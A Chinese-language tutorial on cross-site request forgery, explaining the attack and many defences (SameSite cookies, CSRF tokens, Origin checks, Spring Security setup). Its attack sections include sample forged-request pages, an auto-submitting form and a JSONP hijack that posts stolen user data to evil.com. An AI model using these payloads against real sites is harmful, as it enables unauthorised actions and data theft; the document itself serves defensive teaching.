CSRF 跨站请求伪造
概述
CSRF(Cross-Site Request Forgery,跨站请求伪造),也被称为 XSRF 或 One-Click Attack,是一种挟制用户在当前已登录的 Web 应用程序上执行非本意操作的攻击方式。与 XSS 利用用户对网站的信任不同,CSRF 利用的是网站对用户浏览器的信任。
CSRF 原理与攻击流程
攻击原理
CSRF 攻击的核心原理是:攻击者诱导受害者访问一个恶意页面,该页面在受害者不知情的情况下,利用受害者在目标网站中已有的登录会话(通常是 Cookie),向目标网站发起伪造的请求,从而执行非授权的操作。
攻击流程
1. 用户登录目标网站 A,浏览器保存了 A 的会话 Cookie
2. 用户未退出 A 的情况下,被诱导访问恶意网站 B
3. 恶意网站 B 自动向 A 发起请求(如转账、修改密码等)
4. 浏览器自动携带 A 的 Cookie 发送请求
5. 网站 A 收到请求,验证 Cookie 有效,执行操作关键条件
要成功实施 CSRF 攻击,需要满足以下条件:
- 受害者已登录目标站点:受害者浏览器中持有目标站点的有效会话凭证(如 Session Cookie)。
- 目标站点存在漏洞:目标站点的敏感操作仅依赖 Cookie 或 Basic Auth 等浏览器自动携带的凭证进行身份验证,缺乏额外的防 CSRF 机制。
- 攻击者能预测请求参数:攻击者能构造出合法的请求参数,无需知道受害者的密码等信息。
CSRF 与 XSS 的区别
| 对比维度 | CSRF | XSS |
|---|---|---|
| 核心原理 | 利用网站对浏览器的信任 | 利用浏览器对网站的信任 |
| 攻击目标 | 在目标网站上执行操作 | 在受害者浏览器中执行脚本 |
| 是否需要受害者交互 | 通常不需要(自动触发) | 需要用户点击或访问恶意内容 |
| 是否需要站点存在漏洞 | 接口缺乏 CSRF 防护 | 未正确过滤用户输入 |
| 利用凭证 | 利用已登录的会话 Cookie | 窃取 Cookie 或其他敏感信息 |
| 攻击结果 | 执行转账、修改设置等操作 | 窃取数据、篡改页面、键盘记录等 |
| 防御重点 | 请求来源验证、Token 机制 | 输入输出过滤、CSP 策略 |
一句话总结:XSS 是"不信任用户输入",CSRF 是"不信任请求来源"。
GET 型 CSRF 攻击示例
攻击场景
假设银行网站提供 GET 接口进行转账操作(这是极不安全的设计):
GET /transfer?toAccount=attacker&amount=10000 HTTP/1.1
Host: bank.example.com
Cookie: sessionId=xxxxxx攻击代码
攻击者构造一个包含恶意请求的页面:
<!-- 方式一:img 标签自动发起 GET 请求 -->
<img src="https://bank.example.com/transfer?toAccount=attacker&amount=10000" style="display:none" />
<!-- 方式二:通过 iframe 发起请求 -->
<iframe src="https://bank.example.com/transfer?toAccount=attacker&amount=10000" style="display:none"></iframe>当受害者访问此页面时,浏览器会自动发起 GET 请求,并携带目标站点的 Cookie。
POST 型 CSRF 攻击示例
攻击场景
假设目标网站使用 POST 接口修改邮箱:
POST /change-email HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionId=xxxxxx
email=attacker@evil.com攻击代码
攻击者构造自动提交表单:
<html>
<body>
<form id="csrfForm" action="https://example.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
// 页面加载后自动提交表单
document.getElementById('csrfForm').submit();
</script>
</body>
</html>受害者只要访问该页面,表单就会自动提交,浏览器会携带 Cookie 发送 POST 请求。
JSONP 回调劫持
原理
JSONP(JSON with Padding)是一种跨域数据请求方式,利用 <script> 标签不受同源策略限制的特性。如果网站存在 JSONP 接口且回调函数名可自定义,攻击者可构造恶意 JSONP 请求窃取数据。
攻击示例
假设目标网站有 JSONP 接口:
GET /user/info?callback=jsonpCallback HTTP/1.1
Host: example.com返回数据:
jsonpCallback({"uid": 1001, "email": "victim@example.com"});攻击者构造恶意页面:
<html>
<body>
<script>
// 定义恶意回调函数,将窃取的数据发送到攻击者服务器
function jsonpCallback(data) {
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<!-- 利用 script 标签跨域请求 -->
<script src="https://example.com/user/info?callback=jsonpCallback"></script>
</body>
</html>防御措施
- 验证
Referer头来源 - 使用随机的回调函数名(不可预测)
- 在返回数据前检查自定义请求头
- 优先使用 CORS 替代 JSONP
SameSite Cookie 属性防御
SameSite 是 Cookie 的一个属性,用于控制 Cookie 在跨站请求时是否被发送,是防御 CSRF 的有效手段。
属性值
| 属性值 | 行为 | 适用场景 |
|---|---|---|
| Strict | 完全禁止跨站携带 Cookie | 安全性最高,但影响用户体验(从外部链接点击进入也不会带 Cookie) |
| Lax | 允许部分安全的跨站请求携带 Cookie | 大多数浏览器的默认行为,平衡了安全和体验 |
| None | 不限制跨站携带 Cookie | 需要显式声明 Secure 属性(必须使用 HTTPS),安全性最低 |
Lax 模式的策略
在 Lax 模式下,以下跨站请求会携带 Cookie:
<a>标签链接跳转(GET)<link>标签GET方式的表单提交
以下跨站请求不会携带 Cookie:
POST、PUT、DELETE等非安全方法的表单提交XMLHttpRequest/fetch发起的跨站请求<img>、<iframe>、<script>、<audio>、<video>等标签
配置示例
// Java Servlet Cookie 设置
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setSecure(true); // 仅 HTTPS
cookie.setHttpOnly(true); // 禁止 JS 访问
cookie.setAttribute("SameSite", "Strict"); // Java 8+ / Tomcat 7.0.82+
// Spring Boot 配置 SameSite
// application.yml
server:
servlet:
session:
cookie:
same-site: lax # strict | lax | none// 前端设置 Cookie(服务端设置更重要)
// 服务端响应头设置
Set-Cookie: sessionId=xxx; Secure; HttpOnly; SameSite=Lax注意:
SameSite属性需要浏览器支持,旧版本浏览器可能忽略此属性。Chrome 80+ 默认将未设置 SameSite 的 Cookie 视为 Lax。
CSRF Token 机制详解
CSRF Token 是目前最广泛使用的 CSRF 防御手段,核心思想是在请求中携带一个攻击者无法获取的随机 Token。
工作原理
1. 用户访问页面时,服务端生成一个随机 Token 存储在 Session 中
2. 服务端将 Token 嵌入到页面的表单隐藏域或响应头中
3. 用户提交请求时,浏览器会将 Token 一起提交到服务端
4. 服务端对比请求携带的 Token 与 Session 中存储的 Token 是否一致
5. 一致则放行,不一致则拒绝请求Token 生成
import java.security.SecureRandom;
import java.util.Base64;
public class CsrfTokenUtil {
private static final SecureRandom SECURE_RANDOM = new SecureRandom();
/**
* 生成 CSRF Token(32字节随机数,Base64 编码)
*/
public static String generateToken() {
byte[] tokenBytes = new byte[32];
SECURE_RANDOM.nextBytes(tokenBytes);
return Base64.getUrlEncoder().withoutPadding().encodeToString(tokenBytes);
}
}Token 校验
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;
public class CsrfFilter implements Filter {
private static final String CSRF_TOKEN_NAME = "csrf_token";
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 非安全方法(POST/PUT/DELETE)需要校验 Token
String method = httpRequest.getMethod();
if ("POST".equalsIgnoreCase(method) ||
"PUT".equalsIgnoreCase(method) ||
"DELETE".equalsIgnoreCase(method)) {
// 获取 Session 中的 Token
HttpSession session = httpRequest.getSession(false);
if (session == null) {
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF Token 缺失");
return;
}
String sessionToken = (String) session.getAttribute(CSRF_TOKEN_NAME);
// 获取请求中的 Token(优先从请求头获取,其次从参数获取)
String requestToken = httpRequest.getHeader("X-CSRF-Token");
if (requestToken == null) {
requestToken = httpRequest.getParameter(CSRF_TOKEN_NAME);
}
// 校验 Token
if (sessionToken == null || !sessionToken.equals(requestToken)) {
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF Token 无效");
return;
}
}
chain.doFilter(request, response);
}
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void destroy() {}
}前后端配合
后端返回 Token(嵌入页面):
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="生成的随机Token值" />
<input type="text" name="toAccount" placeholder="对方账户" />
<input type="number" name="amount" placeholder="金额" />
<button type="submit">转账</button>
</form>前端使用 Token(Ajax 请求):
// 从页面 meta 标签或 Cookie 中获取 CSRF Token
const csrfToken = document.querySelector('meta[name="_csrf"]')?.content;
// 在每个 Ajax 请求中携带 Token
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({
toAccount: 'user123',
amount: 1000
}),
credentials: 'include' // 携带 Cookie
});Token 存储方案对比
| 存储位置 | 优点 | 缺点 |
|---|---|---|
| Session | 标准实现,安全性高 | 分布式环境下需要 Session 共享 |
| Redis | 分布式友好,可设置过期时间 | 增加网络开销 |
| JWT | 无状态,适合前后端分离 | Token 泄露后无法立即失效 |
安全注意事项
- Token 必须是密码学安全的随机数,不可预测
- 每个 Session 会话应使用独立的 Token
- 敏感操作(如支付)可使用一次性 Token
- Token 不应通过 URL 参数传递(可能被 Referer 泄露)
Referer/Origin 头检查防御
原理
HTTP 请求头中的 Referer 和 Origin 字段标识了请求的来源页面。服务器可以检查这两个字段,判断请求是否来自可信站点。
请求头说明
| 请求头 | 内容 | 特点 |
|---|---|---|
| Referer | 完整 URL(含路径和查询参数) | 可能被浏览器策略省略或修改 |
| Origin | 仅包含协议、域名和端口 | CORS 安全上下文下始终存在,更可靠 |
服务端校验示例
public class RefererCheckFilter implements Filter {
// 合法的域名白名单
private static final Set<String> ALLOWED_DOMAINS = new HashSet<>(Arrays.asList(
"https://example.com",
"https://www.example.com"
));
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
String method = httpRequest.getMethod();
if ("POST".equalsIgnoreCase(method) ||
"PUT".equalsIgnoreCase(method) ||
"DELETE".equalsIgnoreCase(method)) {
// 优先检查 Origin 头
String origin = httpRequest.getHeader("Origin");
if (origin != null) {
if (!ALLOWED_DOMAINS.contains(origin)) {
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "非法来源");
return;
}
} else {
// 降级检查 Referer 头
String referer = httpRequest.getHeader("Referer");
if (referer == null || !isValidReferer(referer)) {
httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "非法来源");
return;
}
}
}
chain.doFilter(request, response);
}
private boolean isValidReferer(String referer) {
try {
URL url = new URL(referer);
String origin = url.getProtocol() + "://" + url.getHost();
// 考虑端口
if (url.getPort() != -1) {
origin += ":" + url.getPort();
}
return ALLOWED_DOMAINS.contains(origin);
} catch (MalformedURLException e) {
return false;
}
}
}局限性
- Referer 可能为空:用户通过书签、邮件客户端访问时,Referer 可能为空
- Referer 可被篡改:某些旧版本浏览器允许通过插件修改 Referer
- 隐私模式影响:浏览器隐私模式可能不发送 Referer
- HTTPS → HTTP 降级:从 HTTPS 页面跳转到 HTTP 页面时,浏览器可能不发送 Referer
双重 Cookie 验证法
原理
在 Cookie 中设置一个随机值,同时在请求参数或请求头中携带相同的值,服务端对比两者是否一致。
实现方案
@WebServlet("/csrf/double-cookie")
public class DoubleCookieServlet extends HttpServlet {
private static final String CSRF_COOKIE_NAME = "csrf_cookie";
private static final int COOKIE_EXPIRE = 3600; // 1小时
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 从 Cookie 中获取 Token
String cookieToken = null;
Cookie[] cookies = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (CSRF_COOKIE_NAME.equals(cookie.getName())) {
cookieToken = cookie.getValue();
break;
}
}
}
// 从请求头中获取 Token
String headerToken = req.getHeader("X-CSRF-Cookie");
// 对比两个 Token
if (cookieToken == null || headerToken == null || !cookieToken.equals(headerToken)) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF 校验失败");
return;
}
// 处理正常请求...
}
}// 前端实现:读取 Cookie 并在请求中携带
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}
// 发送请求时携带 Cookie Token
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Cookie': getCookie('csrf_cookie')
},
body: JSON.stringify({ toAccount: 'user123', amount: 1000 }),
credentials: 'include'
});局限性
- 如果攻击者可以控制受害者域名的子域名,可以设置或修改 Cookie
- Cookie 可能被 XSS 攻击窃取
- 依赖 Cookie 的 SameSite 属性配合使用效果更好
自定义请求头防御
原理
利用浏览器跨域请求的限制——自定义请求头会触发浏览器的预检请求(Preflight Request),而预检请求会检查服务器是否允许跨域。在同源策略下,攻击者无法构造带有自定义请求头的跨站请求。
实现方式
// Spring Boot 配置
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://example.com")
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("X-Requested-With", "X-CSRF-Token")
.allowCredentials(true);
}
}// 前端在每个 Ajax 请求中携带自定义头
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // 自定义请求头
},
body: JSON.stringify(transferData),
credentials: 'include'
});优点
- 实现简单,无需额外存储 Token
- 对用户透明,不影响用户体验
局限
- 仅适用于 Ajax 请求,不适用于表单提交
- 需要确保浏览器遵循同源策略(老旧浏览器可能绕过)
表单 Token / 验证码防御
表单 Token
在表单中嵌入隐藏的 Token 字段,提交时校验:
<!-- 服务端渲染时嵌入 Token -->
<form action="/change-password" method="POST">
<input type="hidden" name="_csrf" value="生成的唯一Token" />
<input type="password" name="oldPassword" placeholder="原密码" />
<input type="password" name="newPassword" placeholder="新密码" />
<button type="submit">修改密码</button>
</form>验证码
对于高敏感操作(如转账、修改手机号、找回密码等),要求用户输入验证码:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="xxx" />
<input type="text" name="toAccount" placeholder="对方账户" />
<input type="number" name="amount" placeholder="金额" />
<!-- 验证码 -->
<div class="captcha">
<input type="text" name="captcha" placeholder="输入验证码" required />
<img src="/captcha/generate" alt="验证码" />
</div>
<button type="submit">确认转账</button>
</form>验证码之所以能防御 CSRF,是因为攻击者无法自动获取并填写验证码,从而无法构造有效的请求。
注意:验证码会降低用户体验,建议仅在高风险操作(支付、修改密码、修改关键安全信息)时使用。不要在每个请求上都使用验证码。
前后端分离架构下的 CSRF 防御策略
前后端分离架构(SPA + REST API)与传统的服务端渲染不同,需要调整 CSRF 防御策略。
架构特点
- 前端 SPA 运行在浏览器中,通过 Ajax 与后端 API 通信
- 后端通常只提供 RESTful API,无状态的 JWT 认证越来越流行
- 前后端部署在不同域名/端口下,存在跨域问题
推荐策略
1. 使用 JWT + 自定义请求头
// Spring Boot 后端配置
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf.disable()) // 禁用 CSRF Token
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.addFilterBefore(new JwtAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class);
return http.build();
}
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
configuration.setAllowedOrigins(Arrays.asList("https://frontend.example.com"));
configuration.setAllowedMethods(Arrays.asList("GET", "POST", "PUT", "DELETE", "OPTIONS"));
configuration.setAllowedHeaders(Arrays.asList("Authorization", "Content-Type", "X-Requested-With"));
configuration.setAllowCredentials(true);
return new CorsConfigurationSource() {
@Override
public CorsConfiguration getCorsConfiguration(HttpServletRequest request) {
return configuration;
}
};
}
}2. Token 存储在前端(双 Token 机制)
// 后端签发两种 Token
public class TokenPair {
private String accessToken; // 业务 Token
private String csrfToken; // CSRF Token
// 登录成功后返回
public static TokenPair generate(Long userId) {
TokenPair pair = new TokenPair();
pair.accessToken = JwtUtil.generateAccessToken(userId);
pair.csrfToken = CsrfTokenUtil.generateToken();
return pair;
}
}// 前端将 CSRF Token 存储在 localStorage 中
// 并在每个请求中携带
const csrfToken = localStorage.getItem('csrf_token');
fetch('/api/profile', {
method: 'POST',
headers: {
'Authorization': `Bearer ${accessToken}`,
'X-CSRF-Token': csrfToken
}
});3. SameSite Cookie + Origin 检查
@Configuration
public class CsrfProtectionConfig {
@Bean
public FilterRegistrationBean<CsrfProtectionFilter> csrfFilter() {
FilterRegistrationBean<CsrfProtectionFilter> registration =
new FilterRegistrationBean<>();
registration.setFilter(new CsrfProtectionFilter());
registration.addUrlPatterns("/api/*");
return registration;
}
}推荐方案对比
| 方案 | 复杂度 | 安全性 | 适用场景 |
|---|---|---|---|
| JWT + 自定义头 | 低 | 高 | 纯 SPA + REST API |
| SameSite=Lax + Origin 检查 | 低 | 中高 | 通用方案 |
| CSRF Token(Session 存储) | 中 | 高 | 服务端渲染 |
| 双重 Cookie | 低 | 中 | 传统 Web 应用 |
Spring Security 中的 CSRF 防护配置
默认配置
Spring Security 默认启用 CSRF 防护(针对基于 Cookie 的认证方式):
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.csrfTokenRequestHandler(new CsrfTokenRequestAttributeHandler())
)
.authorizeHttpRequests(auth -> auth
.requestMatchers("/login", "/logout", "/api/public/**").permitAll()
.anyRequest().authenticated()
)
.formLogin(form -> form
.loginPage("/login")
.permitAll()
);
return http.build();
}
}获取 CSRF Token 的方式
// 方式一:通过请求属性获取
@Controller
public class PageController {
@GetMapping("/form")
public String formPage(HttpServletRequest request, Model model) {
CsrfToken csrfToken = (CsrfToken) request.getAttribute(CsrfToken.class.getName());
model.addAttribute("_csrf", csrfToken.getToken());
return "form-page";
}
}<!-- Thymeleaf 模板中自动嵌入 -->
<form th:action="@{/transfer}" method="post">
<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" />
<!-- 其他表单字段 -->
</form>REST API 禁用 CSRF
当使用 JWT 或 OAuth2 做无状态认证时,通常建议禁用 CSRF 防护:
@Configuration
@EnableWebSecurity
public class RestSecurityConfig {
@Bean
public SecurityFilterChain restFilterChain(HttpSecurity http) throws Exception {
http
.securityMatcher("/api/**")
.csrf(csrf -> csrf.disable()) // REST API 禁用 CSRF
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/auth/**").permitAll()
.anyRequest().authenticated()
);
return http.build();
}
}自定义 CSRF Token 存储
@Component
public class RedisCsrfTokenRepository implements CsrfTokenRepository {
private final RedisTemplate<String, String> redisTemplate;
private static final String PREFIX = "csrf:";
public RedisCsrfTokenRepository(RedisTemplate<String, String> redisTemplate) {
this.redisTemplate = redisTemplate;
}
@Override
public CsrfToken generateToken(HttpServletRequest request) {
String token = UUID.randomUUID().toString();
return new DefaultCsrfToken("X-CSRF-Token", "_csrf", token);
}
@Override
public void saveToken(CsrfToken token, HttpServletRequest request,
HttpServletResponse response) {
String sessionId = request.getSession().getId();
if (token == null) {
redisTemplate.delete(PREFIX + sessionId);
} else {
redisTemplate.opsForValue().set(
PREFIX + sessionId,
token.getToken(),
30,
TimeUnit.MINUTES
);
}
}
@Override
public CsrfToken loadToken(HttpServletRequest request) {
String sessionId = request.getSession().getId();
String tokenValue = redisTemplate.opsForValue().get(PREFIX + sessionId);
if (tokenValue == null) {
return null;
}
return new DefaultCsrfToken("X-CSRF-Token", "_csrf", tokenValue);
}
}CSRF 防御方案总结
| 防御方案 | 实现复杂度 | 安全性 | 用户体验影响 | 适用场景 |
|---|---|---|---|---|
| CSRF Token | 中 | 高 | 低 | 服务端渲染、表单提交 |
| SameSite Cookie | 低 | 中高 | 低(Lax) | 通用方案,浏览器支持是关键 |
| Referer/Origin 检查 | 低 | 中 | 无 | 辅助方案,不能单独依赖 |
| 双重 Cookie | 低 | 中 | 低 | 传统 Web 应用 |
| 自定义请求头 | 低 | 高 | 无 | Ajax 请求场景 |
| 验证码 | 中 | 高 | 高 | 仅用于高敏感操作 |
| 无状态 JWT + 自定义头 | 中 | 高 | 低 | 前后端分离架构 |
最佳实践
- 纵深防御:不要依赖单一防御手段,应组合使用多种方案
- CSRF Token 是基础:对于传统 Session 认证的应用,CSRF Token 是最成熟可靠的方案
- SameSite 是新趋势:现代浏览器中积极使用 SameSite=Lax 作为默认防护
- 前后端分离优先用 JWT:无状态认证天然免疫 CSRF,配合 CORS 策略即可
- 敏感操作加验证码:转账、改密等关键操作建议叠加验证码验证
- REST API 禁用 CSRF 需谨慎:仅在确认使用无状态认证且无 Cookie 传递时才禁用